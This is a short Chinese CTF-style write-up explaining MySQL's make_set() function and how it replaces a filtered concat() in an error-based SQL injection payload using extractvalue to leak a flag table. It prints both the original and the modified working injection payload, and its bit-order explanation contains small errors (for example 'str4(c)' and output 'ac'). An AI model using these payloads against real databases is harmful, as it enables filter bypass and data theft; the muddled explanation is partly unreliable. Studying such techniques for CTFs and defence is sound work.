make_set(bits,str1,str2,…)
返回一个设定值(含子字符串分隔字符串","字符),在设置位的相应位的字符串。str1对应于位0,str2到第1位,依此类推。在str1,str1有NULL值,…那么不添加到结果。结果取二进制反码
前景:
发现个SQL注入,过滤掉了很多东西但是没有过滤报错注入
的关键函数,只过滤了coucat
所以我们直接把concat()
替换为 make_set()
先学习一下make_set()
-
select make_set(1,'a','b','c');
1
的二进制为0001
反过来就是1000
,所以取str1(a),打印a
-
select make_set(2,'a','b','c');
2
的二进制为0010
反过来就是0100
,所以取str2(b),打印b
-
select make_set(3,'a','b','c');
3
的二进制为0011
反过来就是1100
,所以取 str1(a),str2(b) 打印a,b
-
select make_set(4,'a','b','c');
4
的二进制为0100
反过来就是0010
,所以取str4(c)
打印c
-
select make_set(1|4,'a','b','c');
1|4
的二进制为0001|0100
进行或
运算,有一个为1 就为1 ,这样就是0101
, 反过来就是1010
所以取str1(a)
,str3(c)
, 打印ac
-
我们现在实践一下,先查询一下值
-
使用
报错注入
语句
原来报错注入语句
select extractvalue(null,concat(0x7e,(select * from flag),0x7e));
修改后
select extractvalue(null,make_set(3,0x7e,(select * from flag),0x7e));
由于我使用的是 mske_set(
3
,0x7e,(select * from flag),0x7e)
3
的二进制为 0011
反过来就是 1100
所以取 str1(a),str2(b) 打印 ~,HRCTF{1n0rrY_i3_Vu1n3rab13}
- 套到页面,成功